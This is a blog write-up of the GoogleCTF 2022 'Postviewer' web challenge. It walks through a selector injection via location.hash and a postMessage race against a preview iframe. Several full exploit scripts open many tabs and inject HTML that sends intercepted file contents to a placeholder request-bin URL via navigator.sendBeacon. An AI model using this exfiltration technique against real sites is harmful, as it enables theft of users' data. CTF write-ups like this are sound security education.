GoogleCTF 2022: Postviewer
Hey! It’s time for the annual blog post. I played GoogleCTF with DiceGang.
The Challenge
The rumor tells that adm1n stores their secret split into multiple documents. Can you catch ‘em all?
We are provided with a single attachment explaining the /bot
endpoint and a
link to the challenge.
First Step
As with all challenges, the first step is to stalk the author. Immediately, this web challenge smells like @terjanq; good thing we already follow him on Twitter:
Well that’s scary, and rather unhelpful. Let’s look at the challenge.
Overview
The application allows users to add and delete files. Clicking on them displays a preview in a popup:
Understanding the Application
Quickly peeking at the source code, we see application JS in four different places—directly in the page, and at the following paths:
/static/db.js
/static/util.js
/static/safe-frame.js
Immediately, we can notice that the application’s functionality works entirely
on the client. The script in index.html
begins with
const db = new DB();
async function removeDB() {
db.clear().then(() => {
location = location.href.split('#')[0];
});
}
addFileInput.addEventListener("change", async function () {
if (this.files.length > 0) {
const fileInfo = await db.addFile(this.files[0]);
appendFileInfo(fileInfo);
}
}, false);
// ...
It looks like DB
should come from /static/db.js
:
class DB {
constructor() {
const dbrequest = indexedDB.open("Files", 1);
dbrequest.onupgradeneeded = function () {
let db = dbrequest.result;
if (!db.objectStoreNames.contains('files')) {
db.createObjectStore('files', { keyPath: 'name' });
db.createObjectStore('info', { keyPath: 'name' });
}
}
this.dbPromise = new Promise(resolve => {
dbrequest.onsuccess = function () {
resolve(dbrequest.result)
};
});
}
// ...
So, the DB
class wraps the IndexedDB API with some nice methods for adding,
retrieving, and deleting files. How does displaying these files work?
If we try opening files, we see some hash show up in the URL. Indeed, the file
entries are simply anchor tags. Again in index.html
, we can find the
following snippet.
// ...
const processHash = async () => {
$("#previewModal").modal('hide');
if (location.hash.length <= 1) return;
const fileDiv = document.querySelector(location.hash);
if (fileDiv === null || !fileDiv.dataset.name) return;
const file = await db.getFile(fileDiv.dataset.name);
previewFile(file);
/* If modal is not shown remove hash */
setTimeout(() => {
if (!$('#previewModal').hasClass('show')) {
location.hash = '';
}
}, 2000);
}
window.addEventListener('hashchange', processHash, true);
// ...
It looks like when the hash changes, it is used to find a file in the page,
extract the data, and preview it. In fact, location.hash
is directly passed
into document.querySelector
, since the hash begins with a #
and thus also
functions as a CSS query by ID. Neat.
The function previewFile
comes from /static/util.js
:
// ...
async function previewFile(file){
const previewIframeDiv = document.querySelector('#previewIframeDiv');
previewIframeDiv.innerText = '';
await sleep(100);
previewIframe(previewIframeDiv, file, file.type || 'application/octet-stream');
}
//...
When a file is to be previewed, it clears the div
with id=previewIframeDiv
,
and calls previewIframe
on it. That function can be found in
static/safe-frame.js
; here is the entire file:
const SHIM = `<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>SHIM</title>
</head>
<body>
<script>
onmessage = (e) => {
if (e.data.body === undefined || !e.data.mimeType) {
return;
};
const blob = new Blob([e.data.body], {
type: e.data.mimeType
});
onunload = () => e.source.postMessage("blob loaded", "*");
location = URL.createObjectURL(blob);
};
<\\/script>
</body>
</html>`
const SHIM_DATA_URL = `data:text/html,<script>
location=URL.createObjectURL(new Blob([\`${SHIM}\`], {type:"text/html"}))
</script>`;
async function previewIframe(container, body, mimeType) {
var iframe = document.createElement('iframe');
iframe.src = SHIM_DATA_URL;
container.appendChild(iframe);
iframe.addEventListener('load', () => {
iframe.contentWindow?.postMessage({ body, mimeType }, '*');
}, { once: true });
}
The constant SHIM
holds some HTML that listens for post messages and
redirects itself to a blob URL with the posted content. The constant
SHIM_DATA_URL
holds some HTML that immediately redirects to a blob URL with
the contents of SHIM
. All the previewIframe
function does is create an
iframe with source SHIM_DATA_URL
, add it to the page, and post the data to
display once the iframe loads.
Now of course, there is more to understand about this application: for
instance, we are given the ability to scale the previews; is that important?
Why is popper.js
included? Does it matter that the version is ancient? To
save you the trouble, the answers to these questions are “no,” “because
bootstrap needs it,” and “no.”
Solution
The information explicitly provided already tells us quite a bit about where to
start. First, the existence of the browser bot at /bot
means that we are
likely looking for some sort of XSS. The description of the challenge indicates
the goal: we want to read multiple files locally added in the bot’s browser.
We can also begin to plan for a possible solution. If we are able to send our
own post message to the preview <iframe>
before the application itself does,
then the frame would be redirected to a data URI we control. Additionally,
because it can have any MIME type, we would be able to write HTML and
JavaScript to the frame and register our own post message listener.
Assuming we win the race, a message would then come from the parent—one that contains the file contents intended for the frame. This means we would intercept that data!
Preview Frame postMessage
Unfortunately, there is an immediate challenge. When the page is loaded, the
preview iframe is not inserted into the DOM. That only happens when
location.hash
corresponds to a valid file, and we know nothing about the
target filenames. This means that there is no frame to post messages to.
However, the clever use of location.hash
as the querySelector
has an issue
we can abuse: it gives us too much control over what the selector looks like.
Here is a possible element we might try and select:
<a class="list-group-item list-group-item-action" href="#file-4b6fcb2d521ef0fd442a5301e7932d16cc9f375a" id="file-4b6fcb2d521ef0fd442a5301e7932d16cc9f375a" data-name="test.txt">test.txt</a>
Suppose we provide the hash #asdf,[id^=file-]
. Essentially, this selects
elements with id=asdf
, or elements with IDs that begin with file-
. Then,
even without knowing the ID, our target anchor should be found by
querySelector
. Let’s see if it works:
Nice. Before moving on, let’s make sure that we can open the iframe
corresponding to any uploaded file: after all, the description states that
multiple files need to be read. Conveniently, the nth-child
pseudo-selector
is a thing, so the following forces the second file to be previewed:
https://postviewer-web.2022.ctfcompetition.com/#asdf,[id^=file-]:nth-child(1)
Message Race
Now, let’s try to get our content into the iframe
. After loading the page, we
can try calling postMessage
on the first frame’s window object. It takes a
while for it to load, so we can check the number of frames until one exists.
<script>
const ORIGIN = 'https://postviewer-web.2022.ctfcompetition.com';
const sleep = (time) => new Promise((res) => setTimeout(res, time));
(async () => {
const target = window.open(`${ORIGIN}/?#asdf,[id^=file-]`);
while (!target.frames.length) await sleep(1);
target.frames[0].postMessage({
body: 'injected',
mimeType: 'text/html'
}, '*');
})();
</script>
Well, it seems to be properly detecting when the frame is loaded, but it’s not
beating the application’s own postMessage
. What if we just try it loads of
times?
<script>
const ORIGIN = 'https://postviewer-web.2022.ctfcompetition.com';
const sleep = (time) => new Promise((res) => setTimeout(res, time));
for (let i = 0; i < 20; i++) {
(async () => {
const target = window.open(`${ORIGIN}/?#asdf,[id^=file-]`);
while (!target.frames.length) await sleep(1);
target.frames[0].postMessage({
body: 'injected',
mimeType: 'text/html'
}, '*');
})();
}
</script>
Unfortunately, this did not work. Trying this repeatedly with a loop did occasionally yield seemingly-successful results where our content was injected into the frame, but there were two issues.
- These “successes” were extremely unreliable and seemed to depend on very random conditions (eg. whether the popup was focused). In hindsight, these conditions likely related to performance, as running the script on less powerful devices seemed to produce more positive results.
- The races were not won by “enough.” Although we did occasionally manage to
inject our content into the frame, we were not actually beating the parent
window’s
postMessage
. Recall that the plan was to mount a listener before the parent sent itspostMessage
to intercept the message’s content. Unfortunately, our successful injections seemed to arrive after the parent’spostMessage
but before its resulting redirect was complete, so although we could control the page’s content, it was too late.
As a team, we spent quite a while understanding what could delay the parent’s
postMessage
, even reading through the relevant parts of v8 (Chrome’s
JavaScript engine).
Specifically, we looked for ways to delay the firing of the load
event that
triggered the parent’s postMessage
:
iframe.addEventListener('load', () => {
iframe.contentWindow?.postMessage({ body, mimeType }, '*');
}, { once: true });
However, though many things will delay the load event—like images and redirects—we simply did not have enough control to do so significantly. After spending countless hours on this challenge, everyone essentially gave up.
Fifteen minutes left. Out of the blue:
The thing that was confusing about this was that the new, accompanying script
read like it shouldn’t have worked. The script was missing some delays in
critical places, yet it still managed to occasionally beat the parent
postMessage
. It turns out that it succeeded only by opening so many tabs that
Chrome experienced significant performance issues, allowing some of our
messages to slip in first.
After understanding why it worked, we focused on using this trick more reliably. We had previously written a more robust script for attempting the race, one that seldom worked:
<script>
const ORIGIN = 'https://postviewer-web.2022.ctfcompetition.com';
const sleep = (time) => new Promise((r) => setTimeout(r, time));
class SearchThread {
constructor() {
this.state = { running: false, done: false };
}
start() {
this.state.running = true;
this.loop();
}
stop() {
this.state.running = false;
this.window.close();
}
async loop() {
while (this.state.running) {
this.window?.close();
this.window = window.open(`${ORIGIN}/?#asdf,[id^=file-]`);
this.state.done = false;
while (!this.state.done) {
for (let i = 0; i < 10; i++) {
try {
this.window.frames[0].postMessage({
body: `
<script>
console.log("load");
window.onmessage = async (e) => {
if (
typeof e.data !== "string" &&
e.data.mimeType !== "text/html"
) {
navigator.sendBeacon(
"[REQUEST BIN URL]",
await e.data.body.text()
);
}
}
<\/script>`, mimeType: "text/html"}, "*");
this.state.done = true;
break;
} catch (e) {}
}
await sleep(1);
}
}
}
async handle() {
return new Promise((res) => {
window.addEventListener('message', (e) => {
if (e.source === this.window) {
res()
}
console.log(e.source === this.window);
this.stop();
});
});
}
}
const threads = Array.from({ length: 100 }, () => new SearchThread());
window.addEventListener('unload', () => (
threads.forEach((thread) => thread.stop())
));
threads.forEach((thread) => thread.start());
Promise.race(threads.map((thread) => thread.handle()));
</script>
Hoping for similar results, we increased the number of concurrent tabs to 100.
It did not work locally. There were only ten minutes left, though, so we
crossed our fingers and submitted it to /bot
just in case…
Congratulations on fetching admin's file!
The flag needs to be deciphered with a password that has been split into three
random files. Because the password is random with each run, you will have to
collect all three files. When you do so, just visit:
https://postviewer-web.2022.ctfcompetition.com/dec1pher
File info:
Cipher: CbgyTjbhtHsv/WawQTkFhmpuFXysg33v7VapbUvpH0FGoC6psN5T3SQZH5uJPPty/5uY5+jBANutJZMBbEYc
Password part [1/3]: esscp7cru83b11ylkzm
The challenge is easily solvable under 5 seconds, but as a token of appreciation
I set up a secret endpoint for you that have a limit of 20 seconds:
https://postviewer-web.2022.ctfcompetition.com/bot?s=s333cret_b00t_3ndop1nt
Okay. Looks like there is more to do:
- Change the script to use the
:nth-child
selector written earlier. - Have the script act on each of the three files.
- Retrieve the flag from the secret endpoint.
Since there was not much time left, we modified the script to randomly choose between the three possible files, open more tabs, and continue running after successful injections:
<script>
const ORIGIN = 'https://postviewer-web.2022.ctfcompetition.com';
const sleep = (time) => new Promise((r) => setTimeout(r, time));
class SearchThread {
constructor() {
this.state = { running: false, done: false };
}
start() {
this.state.running = true;
this.loop();
}
stop() {
this.state.running = false;
this.window.close();
}
async loop() {
while (this.state.running) {
const child = getRandomInt(1,3);
this.window?.close();
this.window = window.open(
`${ORIGIN}/?#asdf,[id^=file-]:nth-child(${child})`
);
this.state.done = false;
while (!this.state.done) {
for (let i = 0; i < 10; i++) {
try {
this.window.frames[0].postMessage({
body: `
<script>
console.log("load");
window.onmessage = async (e) => {
if (
typeof e.data !== "string" &&
e.data.mimeType !== "text/html"
) {
navigator.sendBeacon(
"[REQUEST BIN URL]",
await e.data.body.text()
);
}
}
<\/script>`, mimeType: "text/html"}, "*");
this.state.done = true;
break;
} catch (e) {}
}
await sleep(1);
}
}
}
async handle() {
return new Promise((res) => {
window.addEventListener('message', (e) => {
if (e.source === this.window) res();
});
});
}
}
const threads = Array.from({ length: 150 }, () => new SearchThread());
window.addEventListener('unload', () => (
threads.forEach((thread) => thread.stop())
));
threads.forEach((thread) => thread.start());
Promise.race(threads.map((thread) => thread.handle()));
</script>
Countless attempts did not work, always missing one or two of the three files. But, with 41 seconds left before the competition’s end:
Submitting the three parts to the secret endpoint:
And solved.
Unfortunately, our final solution no longer works reliably on the remote browser bot. It seems like the increased load near the end of the competition helped us win some races.
Contributors to our solve, in no particular order, include Ankur, Bryce, Daniel, iczero, Larry, and Philip.
Special thanks to Bryce for getting the last-minute solve!
The Intended Solution
Of course, the intended solution to this challenge does not rely on slowing down the entire browser to delay the parent’s post message. Rather, the trick to blocking it is in the event listener used to detect when the frame is finished loading:
window.addEventListener('message', (e) => {
if (e.data == 'blob loaded') {
$("#previewModal").modal();
}
});
Here, the comparison between e.data
and the string 'blob loaded'
implicitly
coerces e.data
to a string. If e.data
is an object whose toString
can be
slow—like a reference to a large ArrayBuffer
—then this behavior can be used
to block the parent thread. In the official
writeup,
terjanq uses UInt8Array
to do this; check it out for more details!